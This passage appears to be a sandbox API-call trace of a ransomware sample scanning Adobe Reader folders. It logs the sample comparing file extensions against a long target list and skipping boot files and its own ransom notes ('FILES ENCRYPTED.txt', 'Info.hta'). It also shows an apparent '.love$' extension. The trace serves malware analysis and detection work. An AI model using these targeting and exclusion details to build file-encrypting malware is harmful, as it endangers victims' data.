lpString2=".css") returned -1 [0276.911] lstrlenW (lpString=".3gp") returned 4 [0276.911] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0276.911] lstrlenW (lpString=".7z") returned 3 [0276.911] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0276.911] lstrlenW (lpString=".accda") returned 6 [0276.911] lstrcmpiW (lpString1=".accda", lpString2="or.css") returned -1 [0276.911] lstrlenW (lpString=".accdb") returned 6 [0276.911] lstrcmpiW (lpString1=".accdb", lpString2="or.css") returned -1 [0276.911] lstrlenW (lpString=".accdc") returned 6 [0276.911] lstrcmpiW (lpString1=".accdc", lpString2="or.css") returned -1 [0276.911] lstrlenW (lpString=".accde") returned 6 [0276.911] lstrcmpiW (lpString1=".accde", lpString2="or.css") returned -1 [0276.911] lstrlenW (lpString=".accdt") returned 6 [0276.911] lstrcmpiW (lpString1=".accdt", lpString2="or.css") returned -1 [0276.911] lstrlenW (lpString=".accdw") returned 6 [0276.911] lstrcmpiW (lpString1=".accdw", lpString2="or.css") returned -1 [0276.911] lstrlenW (lpString=".adb") returned 4 [0276.911] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0276.911] lstrlenW (lpString=".adp") returned 4 [0276.911] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".ai") returned 3 [0276.912] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0276.912] lstrlenW (lpString=".ai3") returned 4 [0276.912] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".ai4") returned 4 [0276.912] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".ai5") returned 4 [0276.912] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".ai6") returned 4 [0276.912] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".ai7") returned 4 [0276.912] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".ai8") returned 4 [0276.912] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".anim") returned 5 [0276.912] lstrcmpiW (lpString1=".anim", lpString2="r.css") returned -1 [0276.912] lstrlenW (lpString=".arw") returned 4 [0276.912] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0276.912] lstrlenW (lpString=".as") returned 3 [0276.912] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0276.912] lstrlenW (lpString=".asa") returned 4 [0276.912] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".asc") returned 4 [0276.913] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".ascx") returned 5 [0276.913] lstrcmpiW (lpString1=".ascx", lpString2="r.css") returned -1 [0276.913] lstrlenW (lpString=".asm") returned 4 [0276.913] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".asmx") returned 5 [0276.913] lstrcmpiW (lpString1=".asmx", lpString2="r.css") returned -1 [0276.913] lstrlenW (lpString=".asp") returned 4 [0276.913] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".aspx") returned 5 [0276.913] lstrcmpiW (lpString1=".aspx", lpString2="r.css") returned -1 [0276.913] lstrlenW (lpString=".asr") returned 4 [0276.913] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".asx") returned 4 [0276.913] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".avi") returned 4 [0276.913] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".avs") returned 4 [0276.913] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0276.913] lstrlenW (lpString=".backup") returned 7 [0276.913] lstrcmpiW (lpString1=".backup", lpString2="tor.css") returned -1 [0276.913] lstrlenW (lpString=".bak") returned 4 [0276.913] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".bay") returned 4 [0276.914] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".bd") returned 3 [0276.914] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0276.914] lstrlenW (lpString=".bin") returned 4 [0276.914] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".bmp") returned 4 [0276.914] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".bz2") returned 4 [0276.914] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".c") returned 2 [0276.914] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0276.914] lstrlenW (lpString=".cdr") returned 4 [0276.914] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".cer") returned 4 [0276.914] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".cf") returned 3 [0276.914] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0276.914] lstrlenW (lpString=".cfc") returned 4 [0276.914] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".cfm") returned 4 [0276.914] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0276.914] lstrlenW (lpString=".cfml") returned 5 [0276.914] lstrcmpiW (lpString1=".cfml", lpString2="r.css") returned -1 [0276.914] lstrlenW (lpString=".cfu") returned 4 [0276.914] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".chm") returned 4 [0276.915] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".cin") returned 4 [0276.915] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".class") returned 6 [0276.915] lstrcmpiW (lpString1=".class", lpString2="or.css") returned -1 [0276.915] lstrlenW (lpString=".clx") returned 4 [0276.915] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".config") returned 7 [0276.915] lstrcmpiW (lpString1=".config", lpString2="tor.css") returned -1 [0276.915] lstrlenW (lpString=".cpp") returned 4 [0276.915] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".cr2") returned 4 [0276.915] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".crt") returned 4 [0276.915] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".crw") returned 4 [0276.915] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0276.915] lstrlenW (lpString=".cs") returned 3 [0276.915] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0276.915] lstrlenW (lpString=".css") returned 4 [0276.915] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0276.915] lstrlenW (lpString="main-selector.css") returned 17 [0276.915] lstrlenW (lpString=".love$") returned 6 [0276.915] lstrcmpiW (lpString1=".love$", lpString2="or.css") returned -1 [0276.916] lstrlenW (lpString="main-selector.css") returned 17 [0276.916] lstrcmpiW (lpString1="boot.ini", lpString2="main-selector.css") returned -1 [0276.916] lstrcmpiW (lpString1="bootfont.bin", lpString2="main-selector.css") returned -1 [0276.916] lstrcmpiW (lpString1="ntldr", lpString2="main-selector.css") returned 1 [0276.916] lstrcmpiW (lpString1="ntdetect.com", lpString2="main-selector.css") returned 1 [0276.916] lstrcmpiW (lpString1="io.sys", lpString2="main-selector.css") returned -1 [0276.916] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main-selector.css") returned -1 [0276.916] lstrcmpiW (lpString1="Info.hta", lpString2="main-selector.css") returned -1 [0276.916] lstrcmpiW (lpString1="finbbp.exe", lpString2="main-selector.css") returned -1 [0276.916] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css") returned 127 [0276.916] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0276.916] lstrlenW (lpString="main.css") returned 8 [0276.916] lstrlenW (lpString=".1cd") returned 4 [0276.916] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0276.916] lstrlenW (lpString=".3ds") returned 4 [0276.916] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0276.916] lstrlenW (lpString=".3fr") returned 4 [0276.916] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0276.916] lstrlenW (lpString=".3g2") returned 4 [0276.917] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0276.917] lstrlenW (lpString=".3gp") returned 4 [0276.917] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0276.917] lstrlenW (lpString=".7z") returned 3 [0276.917] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0276.917] lstrlenW (lpString=".accda") returned 6 [0276.917] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0276.917] lstrlenW (lpString=".accdb") returned 6 [0276.917] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0276.917] lstrlenW (lpString=".accdc") returned 6 [0276.917] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0276.917] lstrlenW (lpString=".accde") returned 6 [0276.917] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0276.917] lstrlenW (lpString=".accdt") returned 6 [0276.917] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0276.917] lstrlenW (lpString=".accdw") returned 6 [0276.917] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0276.917] lstrlenW (lpString=".adb") returned 4 [0276.917] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0276.917] lstrlenW (lpString=".adp") returned 4 [0276.917] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0276.917] lstrlenW (lpString=".ai") returned 3 [0276.917] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0276.917] lstrlenW (lpString=".ai3") returned 4 [0276.918] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".ai4") returned 4 [0276.918] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".ai5") returned 4 [0276.918] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".ai6") returned 4 [0276.918] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".ai7") returned 4 [0276.918] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".ai8") returned 4 [0276.918] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".anim") returned 5 [0276.918] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0276.918] lstrlenW (lpString=".arw") returned 4 [0276.918] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".as") returned 3 [0276.918] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0276.918] lstrlenW (lpString=".asa") returned 4 [0276.918] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".asc") returned 4 [0276.918] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0276.918] lstrlenW (lpString=".ascx") returned 5 [0276.918] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0276.919] lstrlenW (lpString=".asm") returned 4 [0276.919] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".asmx") returned 5 [0276.919] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0276.919] lstrlenW (lpString=".asp") returned 4 [0276.919] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".aspx") returned 5 [0276.919] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0276.919] lstrlenW (lpString=".asr") returned 4 [0276.919] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".asx") returned 4 [0276.919] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".avi") returned 4 [0276.919] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".avs") returned 4 [0276.919] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".backup") returned 7 [0276.919] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1 [0276.919] lstrlenW (lpString=".bak") returned 4 [0276.919] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0276.919] lstrlenW (lpString=".bay") returned 4 [0276.919] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0276.920] lstrlenW (lpString=".bd") returned 3 [0276.920] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0276.920] lstrlenW (lpString=".bin") returned 4 [0276.920] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0276.920] lstrlenW (lpString=".bmp") returned 4 [0276.920] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0276.920] lstrlenW (lpString=".bz2") returned 4 [0276.920] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0276.920] lstrlenW (lpString=".c") returned 2 [0276.920] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0276.920] lstrlenW (lpString=".cdr") returned 4 [0276.920] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0276.920] lstrlenW (lpString=".cer") returned 4 [0276.921] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".cf") returned 3 [0276.921] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0276.921] lstrlenW (lpString=".cfc") returned 4 [0276.921] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".cfm") returned 4 [0276.921] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".cfml") returned 5 [0276.921] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0276.921] lstrlenW (lpString=".cfu") returned 4 [0276.921] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".chm") returned 4 [0276.921] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".cin") returned 4 [0276.921] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".class") returned 6 [0276.921] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0276.921] lstrlenW (lpString=".clx") returned 4 [0276.921] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".config") returned 7 [0276.921] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1 [0276.921] lstrlenW (lpString=".cpp") returned 4 [0276.921] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".cr2") returned 4 [0276.921] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0276.921] lstrlenW (lpString=".crt") returned 4 [0276.922] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0276.922] lstrlenW (lpString=".crw") returned 4 [0276.922] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0276.922] lstrlenW (lpString=".cs") returned 3 [0276.922] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0276.922] lstrlenW (lpString=".css") returned 4 [0276.922] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0276.922] lstrlenW (lpString="main.css") returned 8 [0276.922] lstrlenW (lpString=".love$") returned 6 [0276.922] lstrcmpiW (lpString1=".love$", lpString2="in.css") returned -1 [0276.922] lstrlenW (lpString="main.css") returned 8 [0276.922] lstrcmpiW (lpString1="boot.ini", lpString2="main.css") returned -1 [0276.922] lstrcmpiW (lpString1="bootfont.bin", lpString2="main.css") returned -1 [0276.922] lstrcmpiW (lpString1="ntldr", lpString2="main.css") returned 1 [0276.922] lstrcmpiW (lpString1="ntdetect.com", lpString2="main.css") returned 1 [0276.922] lstrcmpiW (lpString1="io.sys", lpString2="main.css") returned -1 [0276.922] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main.css") returned -1 [0276.922] lstrcmpiW (lpString1="Info.hta", lpString2="main.css") returned -1 [0276.922] lstrcmpiW (lpString1="finbbp.exe", lpString2="main.css") returned -1 [0276.923] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css") returned 118 [0276.923] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0276.923] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0276.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0276.923] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0276.923] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images") returned 112 [0276.923] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images") returned 1 [0276.923] lstrlenW (lpString="images") returned 6 [0276.923] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="images") returned -1 [0276.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0276.923] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images") returned 112 [0276.923] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0276.924] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.924] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0276.924] lstrlenW (lpString="example_icons.png") returned 17 [0276.924] lstrlenW (lpString=".1cd") returned 4 [0276.924] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0276.924] lstrlenW (lpString=".3ds") returned 4 [0276.924] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0276.924] lstrlenW (lpString=".3fr") returned 4 [0276.924] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0276.924] lstrlenW (lpString=".3g2") returned 4 [0276.924] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0276.924] lstrlenW (lpString=".3gp") returned 4 [0276.924] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".7z") returned 3 [0276.925] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0276.925] lstrlenW (lpString=".accda") returned 6 [0276.925] lstrcmpiW (lpString1=".accda", lpString2="ns.png") returned -1 [0276.925] lstrlenW (lpString=".accdb") returned 6 [0276.925] lstrcmpiW (lpString1=".accdb", lpString2="ns.png") returned -1 [0276.925] lstrlenW (lpString=".accdc") returned 6 [0276.925] lstrcmpiW (lpString1=".accdc", lpString2="ns.png") returned -1 [0276.925] lstrlenW (lpString=".accde") returned 6 [0276.925] lstrcmpiW (lpString1=".accde", lpString2="ns.png") returned -1 [0276.925] lstrlenW (lpString=".accdt") returned 6 [0276.925] lstrcmpiW (lpString1=".accdt", lpString2="ns.png") returned -1 [0276.925] lstrlenW (lpString=".accdw") returned 6 [0276.925] lstrcmpiW (lpString1=".accdw", lpString2="ns.png") returned -1 [0276.925] lstrlenW (lpString=".adb") returned 4 [0276.925] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".adp") returned 4 [0276.925] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".ai") returned 3 [0276.925] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0276.925] lstrlenW (lpString=".ai3") returned 4 [0276.925] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".ai4") returned 4 [0276.925] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".ai5") returned 4 [0276.925] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".ai6") returned 4 [0276.925] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".ai7") returned 4 [0276.925] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".ai8") returned 4 [0276.925] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0276.925] lstrlenW (lpString=".anim") returned 5 [0276.925] lstrcmpiW (lpString1=".anim", lpString2="s.png") returned -1 [0276.925] lstrlenW (lpString=".arw") returned 4 [0276.926] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".as") returned 3 [0276.926] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0276.926] lstrlenW (lpString=".asa") returned 4 [0276.926] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".asc") returned 4 [0276.926] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".ascx") returned 5 [0276.926] lstrcmpiW (lpString1=".ascx", lpString2="s.png") returned -1 [0276.926] lstrlenW (lpString=".asm") returned 4 [0276.926] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".asmx") returned 5 [0276.926] lstrcmpiW (lpString1=".asmx", lpString2="s.png") returned -1 [0276.926] lstrlenW (lpString=".asp") returned 4 [0276.926] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".aspx") returned 5 [0276.926] lstrcmpiW (lpString1=".aspx", lpString2="s.png") returned -1 [0276.926] lstrlenW (lpString=".asr") returned 4 [0276.926] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".asx") returned 4 [0276.926] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".avi") returned 4 [0276.926] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".avs") returned 4 [0276.926] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".backup") returned 7 [0276.926] lstrcmpiW (lpString1=".backup", lpString2="ons.png") returned -1 [0276.926] lstrlenW (lpString=".bak") returned 4 [0276.926] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0276.926] lstrlenW (lpString=".bay") returned 4 [0276.926] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".bd") returned 3 [0276.927] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0276.927] lstrlenW (lpString=".bin") returned 4 [0276.927] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".bmp") returned 4 [0276.927] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".bz2") returned 4 [0276.927] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".c") returned 2 [0276.927] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0276.927] lstrlenW (lpString=".cdr") returned 4 [0276.927] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".cer") returned 4 [0276.927] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".cf") returned 3 [0276.927] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0276.927] lstrlenW (lpString=".cfc") returned 4 [0276.927] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".cfm") returned 4 [0276.927] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".cfml") returned 5 [0276.927] lstrcmpiW (lpString1=".cfml", lpString2="s.png") returned -1 [0276.927] lstrlenW (lpString=".cfu") returned 4 [0276.927] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".chm") returned 4 [0276.927] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".cin") returned 4 [0276.927] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0276.927] lstrlenW (lpString=".class") returned 6 [0276.927] lstrcmpiW (lpString1=".class", lpString2="ns.png") returned -1 [0276.927] lstrlenW (lpString=".clx") returned 4 [0276.927] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".config") returned 7 [0276.928] lstrcmpiW (lpString1=".config", lpString2="ons.png") returned -1 [0276.928] lstrlenW (lpString=".cpp") returned 4 [0276.928] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".cr2") returned 4 [0276.928] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0276.928] lstrlenW (lpString=".crt") returned 4 [0276.928] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0276.928] 